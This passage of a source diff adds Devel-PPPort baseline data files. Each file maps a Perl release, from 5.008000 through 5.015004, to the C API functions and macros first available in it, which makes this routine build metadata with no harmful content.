+to_uni_upper # E (Perl_to_uni_upper)
+to_utf8_case # U
+unpack_str # U
+uvchr_to_utf8_flags # U
+uvuni_to_utf8_flags # U
+vdeb # U
+IS_NUMBER_NAN # added by devel/scanprov
+MY_CXT # added by devel/scanprov
+MY_CXT_INIT # added by devel/scanprov
+PERL_MAGIC_shared # added by devel/scanprov
+PERL_MAGIC_shared_scalar # added by devel/scanprov
+PERL_MAGIC_uvar_elem # added by devel/scanprov
+PERL_SCAN_ALLOW_UNDERSCORES # added by devel/scanprov
+PERL_SCAN_DISALLOW_PREFIX # added by devel/scanprov
+PERL_SCAN_GREATER_THAN_UV_MAX # added by devel/scanprov
+START_MY_CXT # added by devel/scanprov
+_aMY_CXT # added by devel/scanprov
+_pMY_CXT # added by devel/scanprov
+aMY_CXT # added by devel/scanprov
+aMY_CXT_ # added by devel/scanprov
+dMY_CXT # added by devel/scanprov
+dMY_CXT_SV # added by devel/scanprov
+pMY_CXT # added by devel/scanprov
+pMY_CXT_ # added by devel/scanprov
+packWARN # added by devel/scanprov
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008000
new file mode 100644
index 00000000000..8af2dfae4d2
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008000
@@ -0,0 +1,8 @@
+5.008000
+Poison # E
+hv_iternext_flags # U
+hv_store_flags # U
+is_utf8_idcont # U
+nothreadhook # U
+WARN_LAYER # added by devel/scanprov
+WARN_THREADS # added by devel/scanprov
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008001
new file mode 100644
index 00000000000..93df2b486e8
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008001
@@ -0,0 +1,31 @@
+5.008001
+CvPADLIST # E
+PL_comppad # E
+SvVOK # U
+XSRETURN_UV # U
+doing_taint # U
+find_runcv # U
+is_utf8_string_loc # U
+packlist # U
+pad_add_anon # U
+pad_new # E
+pad_tidy # E
+save_bool # U
+savestack_grow_cnt # U
+seed # U
+sv_cat_decode # U
+sv_setpviv # U
+sv_setpviv_mg # U
+unpackstring # U
+C_ARRAY_LENGTH # added by devel/scanprov
+IN_PERL_COMPILETIME # added by devel/scanprov
+PERL_ABS # added by devel/scanprov
+PERL_GCC_BRACE_GROUPS_FORBIDDEN # added by devel/scanprov
+PERL_MAGIC_utf8 # added by devel/scanprov
+PERL_MAGIC_vstring # added by devel/scanprov
+PERL_SCAN_SILENT_ILLDIGIT # added by devel/scanprov
+PERL_SIGNALS_UNSAFE_FLAG # added by devel/scanprov
+PL_signals # added by devel/scanprov
+SV_COW_DROP_PV # added by devel/scanprov
+SV_UTF8_NO_ENCODING # added by devel/scanprov
+XST_mUV # added by devel/scanprov
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008002
new file mode 100644
index 00000000000..63aac525fed
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008002
@@ -0,0 +1 @@
+5.008002
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008003
new file mode 100644
index 00000000000..50c6ce1aa14
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008003
@@ -0,0 +1,3 @@
+5.008003
+SvIsCOW # U
+SvIsCOW_shared_hash # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008004 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008004
new file mode 100644
index 00000000000..bb7bcdf66ac
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008004
@@ -0,0 +1 @@
+5.008004
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008005 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008005
new file mode 100644
index 00000000000..7bd2029f4b3
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008005
@@ -0,0 +1 @@
+5.008005
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008006 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008006
new file mode 100644
index 00000000000..ba5cad07ed0
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008006
@@ -0,0 +1 @@
+5.008006
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008007 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008007
new file mode 100644
index 00000000000..7d656f0b9e2
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008007
@@ -0,0 +1 @@
+5.008007
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008008 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008008
new file mode 100644
index 00000000000..f17b19ff4b2
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008008
@@ -0,0 +1 @@
+5.008008
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008009 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008009
new file mode 100644
index 00000000000..129e018f45f
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008009
@@ -0,0 +1 @@
+5.008009
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5009000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5009000
new file mode 100644
index 00000000000..28bc85958ec
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5009000
@@ -0,0 +1,6 @@
+5.009000
+new_version # U
+save_set_svflags # U
+vcmp # U
+vnumify # U
+vstringify # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5009001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5009001
new file mode 100644
index 00000000000..0666184e1df
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5009001
@@ -0,0 +1,8 @@
+5.009001
+SvIV_nomg # U
+SvUV_nomg # U
+hv_clear_placeholders # U
+hv_scalar # U
+scan_version # E (Perl_scan_version)
+sv_2iv_flags # U
+sv_2uv_flags # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5009002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5009002
new file mode 100644
index 00000000000..65d7de90726
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5009002
@@ -0,0 +1,32 @@
+5.009002
+CopyD # E
+MoveD # E
+PUSHmortal # E
+SvPVbyte_force # U
+UNDERBAR # E
+XCPT_CATCH # E
+XCPT_RETHROW # E
+XCPT_TRY_END # E
+XCPT_TRY_START # E
+XPUSHmortal # E
+ZeroD # E
+dUNDERBAR # E
+dXCPT # E
+find_rundefsvoffset # U
+gv_fetchpvn_flags # U
+gv_fetchsv # U
+mPUSHi # U
+mPUSHn # U
+mPUSHp # U
+mPUSHu # U
+mXPUSHi # U
+mXPUSHn # U
+mXPUSHp # U
+mXPUSHu # U
+op_refcnt_lock # U
+op_refcnt_unlock # U
+savesvpv # U
+vnormal # U
+MY_CXT_CLONE # added by devel/scanprov
+SV_NOSTEAL # added by devel/scanprov
+UTF8_MAXBYTES # added by devel/scanprov
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5009003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5009003
new file mode 100644
index 00000000000..8b69a99fdd9
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5009003
@@ -0,0 +1,66 @@
+5.009003
+Newx # E
+Newxc # E
+Newxz # E
+PL_check # E
+SvMAGIC_set # U
+SvRV_set # U
+SvSTASH_set # U
+SvUV_set # U
+av_arylen_p # U
+ckwarn # U
+ckwarn_d # U
+csighandler # E (Perl_csighandler)
+dAXMARK # E
+dMULTICALL # E
+doref # U
+gv_const_sv # U
+gv_stashpvs # U
+hv_eiter_p # U
+hv_eiter_set # U
+hv_fetchs # U
+hv_name_set # U
+hv_placeholders_get # U
+hv_placeholders_set # U
+hv_riter_p # U
+hv_riter_set # U
+is_utf8_string_loclen # U
+my_sprintf # U
+newGIVENOP # U
+newSVhek # U
+newSVpvs # U
+newSVpvs_share # U
+newWHENOP # U
+pad_compname_type # U
+savepvs # U
+sortsv_flags # U
+sv_catpvs # U
+vverify # U
+HvNAMELEN_get # added by devel/scanprov
+HvNAME_get # added by devel/scanprov
+PERLIO_FUNCS_CAST # added by devel/scanprov
+PERLIO_FUNCS_DECL # added by devel/scanprov
+PERL_UNUSED_ARG # added by devel/scanprov
+PTR2nat # added by devel/scanprov
+STR_WITH_LEN # added by devel/scanprov
+SV_CONST_RETURN # added by devel/scanprov
+SV_MUTABLE_RETURN # added by devel/scanprov
+SV_SMAGIC # added by devel/scanprov
+SvPVX_const # added by devel/scanprov
+SvPVX_mutable # added by devel/scanprov
+SvPV_const # added by devel/scanprov
+SvPV_flags_const # added by devel/scanprov
+SvPV_flags_const_nolen # added by devel/scanprov
+SvPV_flags_mutable # added by devel/scanprov
+SvPV_force_flags_mutable # added by devel/scanprov
+SvPV_force_flags_nolen # added by devel/scanprov
+SvPV_force_mutable # added by devel/scanprov
+SvPV_force_nolen # added by devel/scanprov
+SvPV_force_nomg_nolen # added by devel/scanprov
+SvPV_mutable # added by devel/scanprov
+SvPV_nolen_const # added by devel/scanprov
+SvPV_nomg_const # added by devel/scanprov
+SvPV_nomg_const_nolen # added by devel/scanprov
+SvPV_renew # added by devel/scanprov
+SvSHARED_HASH # added by devel/scanprov
+dVAR # added by devel/scanprov
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5009004 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5009004
new file mode 100644
index 00000000000..5a2f6b8ba7d
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5009004
@@ -0,0 +1,42 @@
+5.009004
+PerlIO_context_layers # U
+PoisonFree # E
+PoisonNew # E
+PoisonWith # E
+SvREFCNT_inc_NN # U
+SvREFCNT_inc_simple # U
+SvREFCNT_inc_simple_NN # U
+SvREFCNT_inc_simple_void # U
+SvREFCNT_inc_simple_void_NN # U
+SvREFCNT_inc_void # U
+SvREFCNT_inc_void_NN # U
+gv_name_set # U
+hv_copy_hints_hv # U
+hv_stores # U
+my_snprintf # U
+my_strlcat # U
+my_strlcpy # U
+my_vsnprintf # U
+newXS_flags # U
+pv_escape # U
+pv_pretty # U
+regclass_swash # E (Perl_regclass_swash)
+sv_does # U
+sv_setpvs # U
+sv_usepvn_flags # U
+PERL_PV_ESCAPE_ALL # added by devel/scanprov
+PERL_PV_ESCAPE_FIRSTCHAR # added by devel/scanprov
+PERL_PV_ESCAPE_NOBACKSLASH # added by devel/scanprov
+PERL_PV_ESCAPE_NOCLEAR # added by devel/scanprov
+PERL_PV_ESCAPE_QUOTE # added by devel/scanprov
+PERL_PV_ESCAPE_UNI # added by devel/scanprov
+PERL_PV_ESCAPE_UNI_DETECT # added by devel/scanprov
+PERL_PV_PRETTY_DUMP # added by devel/scanprov
+PERL_PV_PRETTY_LTGT # added by devel/scanprov
+PERL_PV_PRETTY_QUOTE # added by devel/scanprov
+PERL_PV_PRETTY_REGPROP # added by devel/scanprov
+PERL_UNUSED_CONTEXT # added by devel/scanprov
+PERL_USE_GCC_BRACE_GROUPS # added by devel/scanprov
+SV_HAS_TRAILING_NUL # added by devel/scanprov
+SvVSTRING_mg # added by devel/scanprov
+gv_fetchpvs # added by devel/scanprov
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5009005 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5009005
new file mode 100644
index 00000000000..8ddae03de6f
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5009005
@@ -0,0 +1,37 @@
+5.009005
+PL_parser # E
+Perl_signbit # U
+SvRX # U
+SvRXOK # U
+av_create_and_push # U
+av_create_and_unshift_one # U
+get_cvn_flags # U
+gv_fetchfile_flags # U
+lex_start # E (Perl_lex_start)
+mro_get_linear_isa # U
+mro_method_changed_in # U
+my_dirfd # U
+newSV_type # U
+pregcomp # E (Perl_pregcomp)
+ptr_table_clear # U
+ptr_table_fetch # U
+ptr_table_free # U
+ptr_table_new # U
+ptr_table_split # U
+ptr_table_store # U
+re_compile # U
+reg_named_buff_all # U
+reg_named_buff_exists # U
+reg_named_buff_fetch # U
+reg_named_buff_firstkey # U
+reg_named_buff_nextkey # U
+reg_named_buff_scalar # U
+regfree_internal # U
+savesharedpvn # U
+scan_vstring # E (Perl_scan_vstring)
+upg_version # E (Perl_upg_version)
+PERL_PV_ESCAPE_RE # added by devel/scanprov
+SV_COW_SHARED_HASH_KEYS # added by devel/scanprov
+SVfARG # added by devel/scanprov
+memEQs # added by devel/scanprov
+memNEs # added by devel/scanprov
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5010000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5010000
new file mode 100644
index 00000000000..922e6141592
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5010000
@@ -0,0 +1,10 @@
+5.010000
+hv_common # U
+hv_common_key_len # U
+sv_destroyable # U
+sys_init # U
+sys_init3 # U
+sys_term # U
+PERL_PV_PRETTY_ELLIPSES # added by devel/scanprov
+PERL_PV_PRETTY_NOCLEAR # added by devel/scanprov
+XSPROTO # added by devel/scanprov
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5010001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5010001
new file mode 100644
index 00000000000..61012f7d588
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5010001
@@ -0,0 +1,22 @@
+5.010001
+HeUTF8 # U
+croak_xs_usage # U
+mPUSHs # U
+mXPUSHs # U
+mro_get_from_name # U
+mro_get_private_data # U
+mro_register # U
+mro_set_mro # U
+mro_set_private_data # U
+newSVpvn_flags # U
+newSVpvn_utf8 # U
+newSVpvs_flags # U
+save_hints # U
+save_padsv_and_mortalize # U
+save_pushi32ptr # U
+save_pushptr # U
+save_pushptrptr # U
+sv_insert_flags # U
+DEFSV_set # added by devel/scanprov
+MUTABLE_PTR # added by devel/scanprov
+MUTABLE_SV # added by devel/scanprov
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5011000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5011000
new file mode 100644
index 00000000000..1f499d99e07
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5011000
@@ -0,0 +1,15 @@
+5.011000
+Gv_AMupdate # E (Perl_Gv_AMupdate)
+PL_opfreehook # E
+SVt_REGEXP # E
+SvOOK_offset # U
+av_iter_p # U
+gv_add_by_type # U
+is_ascii_string # U
+pregfree2 # U
+save_adelete # U
+save_aelem_flags # U
+save_hdelete # U
+save_helem_flags # U
+sv_utf8_upgrade_flags_grow # U
+get_cvs # added by devel/scanprov
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5011001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5011001
new file mode 100644
index 00000000000..f42409363b7
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5011001
@@ -0,0 +1,6 @@
+5.011001
+ck_warner # U
+ck_warner_d # U
+is_utf8_perl_space # U
+is_utf8_perl_word # U
+is_utf8_posix_digit # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5011002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5011002
new file mode 100644
index 00000000000..df12d99fd62
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5011002
@@ -0,0 +1,13 @@
+5.011002
+PL_keyword_plugin # E
+lex_bufutf8 # U
+lex_discard_to # U
+lex_grow_linestr # U
+lex_next_chunk # U
+lex_peek_unichar # U
+lex_read_space # U
+lex_read_to # U
+lex_read_unichar # U
+lex_stuff_pvn # U
+lex_stuff_sv # U
+lex_unstuff # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5011003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5011003
new file mode 100644
index 00000000000..3fd94ca1b60
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5011003
@@ -0,0 +1 @@
+5.011003
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5011004 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5011004
new file mode 100644
index 00000000000..86c1fce4f2a
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5011004
@@ -0,0 +1,2 @@
+5.011004
+prescan_version # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5011005 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5011005
new file mode 100644
index 00000000000..d9b0d6a4c94
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5011005
@@ -0,0 +1,2 @@
+5.011005
+sv_pos_u2b_flags # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5012000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5012000
new file mode 100644
index 00000000000..82cbce2d6d9
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5012000
@@ -0,0 +1 @@
+5.012000
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5012001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5012001
new file mode 100644
index 00000000000..90dc03fdf35
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5012001
@@ -0,0 +1 @@
+5.012001
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5012002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5012002
new file mode 100644
index 00000000000..8ab87f08d8a
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5012002
@@ -0,0 +1 @@
+5.012002
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5012003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5012003
new file mode 100644
index 00000000000..f2abab4c17c
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5012003
@@ -0,0 +1 @@
+5.012003
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5012004 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5012004
new file mode 100644
index 00000000000..e7319cd5663
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5012004
@@ -0,0 +1 @@
+5.012004
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5012005 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5012005
new file mode 100644
index 00000000000..5af01305efd
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5012005
@@ -0,0 +1 @@
+5.012005
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013000
new file mode 100644
index 00000000000..8a31cc7f3e8
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013000
@@ -0,0 +1,2 @@
+5.013000
+cBOOL # added by devel/scanprov
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013001
new file mode 100644
index 00000000000..679bf3c35e5
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013001
@@ -0,0 +1,6 @@
+5.013001
+croak_sv # U
+die_sv # U
+mess_sv # U
+sv_2nv_flags # U
+warn_sv # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013002
new file mode 100644
index 00000000000..5058d1e4041
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013002
@@ -0,0 +1,10 @@
+5.013002
+SvNV_nomg # U
+find_rundefsv # U
+foldEQ # U
+foldEQ_locale # U
+foldEQ_utf8 # U
+hv_fill # U
+sv_dec_nomg # U
+sv_inc_nomg # U
+C_ARRAY_END # added by devel/scanprov
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013003
new file mode 100644
index 00000000000..5e04f03c8a5
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013003
@@ -0,0 +1,3 @@
+5.013003
+blockhook_register # E
+croak_no_modify # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013004 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013004
new file mode 100644
index 00000000000..8aac89eb8d4
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013004
@@ -0,0 +1 @@
+5.013004
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013005 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013005
new file mode 100644
index 00000000000..88c7c7b80b4
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013005
@@ -0,0 +1,6 @@
+5.013005
+PL_rpeepp # E
+caller_cx # U
+isOCTAL # U
+lex_stuff_pvs # U
+parse_fullstmt # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013006 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013006
new file mode 100644
index 00000000000..d145f368393
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013006
@@ -0,0 +1,32 @@
+5.013006
+LINKLIST # U
+SvTRUE_nomg # U
+ck_entersub_args_list # U
+ck_entersub_args_proto # U
+ck_entersub_args_proto_or_list # U
+cv_get_call_checker # E
+cv_set_call_checker # E
+isWORDCHAR # U
+lex_stuff_pv # U
+mg_free_type # U
+newSVpv_share # U
+op_append_elem # U
+op_append_list # U
+op_contextualize # U
+op_linklist # U
+op_prepend_elem # U
+parse_stmtseq # U
+rv2cv_op_cv # U
+savesharedpvs # U
+savesharedsvpv # U
+sv_2bool_flags # U
+sv_catpv_flags # U
+sv_catpv_nomg # U
+sv_catpvs_flags # U
+sv_catpvs_mg # U
+sv_catpvs_nomg # U
+sv_cmp_flags # U
+sv_cmp_locale_flags # U
+sv_collxfrm_flags # U
+sv_eq_flags # U
+sv_setpvs_mg # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013007 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013007
new file mode 100644
index 00000000000..79a9a5f44a1
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013007
@@ -0,0 +1,36 @@
+5.013007
+HvENAME # U
+OP_CLASS # U
+SvPV_nomg_nolen # U
+XopFLAGS # E
+amagic_deref_call # U
+bytes_cmp_utf8 # U
+cop_hints_2hv # A
+cop_hints_fetch_pv # U
+cop_hints_fetch_pvn # U
+cop_hints_fetch_pvs # U
+cop_hints_fetch_sv # U
+cophh_2hv # E
+cophh_copy # E
+cophh_delete_pv # E
+cophh_delete_pvn # E
+cophh_delete_pvs # E
+cophh_delete_sv # E
+cophh_fetch_pv # E
+cophh_fetch_pvn # E
+cophh_fetch_pvs # E
+cophh_fetch_sv # E
+cophh_free # E
+cophh_store_pv # E
+cophh_store_pvn # E
+cophh_store_pvs # E
+cophh_store_sv # E
+custom_op_register # E
+custom_op_xop # E
+newFOROP # A
+newWHILEOP # A
+op_lvalue # U
+op_scope # U
+parse_barestmt # U
+parse_block # U
+parse_label # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013008 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013008
new file mode 100644
index 00000000000..5c315d671ba
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013008
@@ -0,0 +1,8 @@
+5.013008
+foldEQ_latin1 # U
+mg_findext # U
+parse_arithexpr # U
+parse_fullexpr # U
+parse_listexpr # U
+parse_termexpr # U
+sv_unmagicext # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013009 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013009
new file mode 100644
index 00000000000..51160ae344d
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013009
@@ -0,0 +1 @@
+5.013009
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013010 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013010
new file mode 100644
index 00000000000..d7f4365bfb1
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013010
@@ -0,0 +1,4 @@
+5.013010
+foldEQ_utf8_flags # U
+is_utf8_xidcont # U
+is_utf8_xidfirst # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013011 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013011
new file mode 100644
index 00000000000..a33715f749e
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013011
@@ -0,0 +1 @@
+5.013011
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5014000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5014000
new file mode 100644
index 00000000000..3f837ef4d0d
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5014000
@@ -0,0 +1,2 @@
+5.014000
+_to_uni_fold_flags # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5014001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5014001
new file mode 100644
index 00000000000..098fb03c9f4
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5014001
@@ -0,0 +1 @@
+5.014001
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5014002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5014002
new file mode 100644
index 00000000000..f280bd0f4f7
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5014002
@@ -0,0 +1 @@
+5.014002
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5014003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5014003
new file mode 100644
index 00000000000..333e50d1db2
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5014003
@@ -0,0 +1 @@
+5.014003
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5014004 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5014004
new file mode 100644
index 00000000000..1618e365ea4
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5014004
@@ -0,0 +1 @@
+5.014004
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015000
new file mode 100644
index 00000000000..d8c6546d720
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015000
@@ -0,0 +1 @@
+5.015000
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015001
new file mode 100644
index 00000000000..144926b1244
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015001
@@ -0,0 +1,11 @@
+5.015001
+cop_fetch_label # U
+cop_store_label # U
+pad_add_name_pv # U
+pad_add_name_pvn # U
+pad_add_name_pvs # U
+pad_add_name_sv # U
+pad_findmy_pv # U
+pad_findmy_pvn # U
+pad_findmy_pvs # U
+pad_findmy_sv # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015002
new file mode 100644
index 00000000000..06741283d1d
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015002
@@ -0,0 +1 @@
+5.015002
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015003
new file mode 100644
index 00000000000..7f33df71289
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015003
@@ -0,0 +1 @@
+5.015003
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015004 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015004
new file mode 100644
index 00000000000..516327e6505
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015004
@@ -0,0 +1,32 @@
+5.015004
+HvENAMELEN # U
+HvENAMEUTF8 # U
+HvNAMELEN # U
+HvNAMEUTF8 # U
+gv_autoload_pv # U
